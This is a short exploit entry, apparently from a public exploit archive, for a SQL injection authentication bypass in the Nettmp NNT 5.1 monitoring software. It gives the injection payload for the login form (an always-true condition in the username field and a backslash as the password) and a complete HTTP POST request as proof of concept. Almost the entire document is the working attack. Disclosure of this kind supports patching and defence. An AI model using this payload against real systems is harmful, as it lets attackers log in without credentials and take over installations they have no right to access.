# Exploit Title: Nettmp NNT 5.1 - SQLi Authentication Bypass # Date: 23/12/2021 # Exploit Author: Momen Eldawakhly (Cyber Guy) # Vendor Homepage: https://wiki.nettemp.tk # Software Link: https://wiki.nettemp.tk # Version: nettmp NNT # Tested on: Linux (Ubuntu 20.04) Payload: username: 1' or 1=1;-- password: \ Proof of Concept: POST /index.php?id=status HTTP/1.1 Host: vuln.com User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 55 Origin: http://vuln.com DNT: 1 Connection: close Referer: http://vulnIP/index.php?id=status Cookie: PHPSESSID=v8hmih4u92mftquen8gtvpstsq Upgrade-Insecure-Requests: 1 username=1%27+or+1%3D1%3B--&password=%5C&form_login=log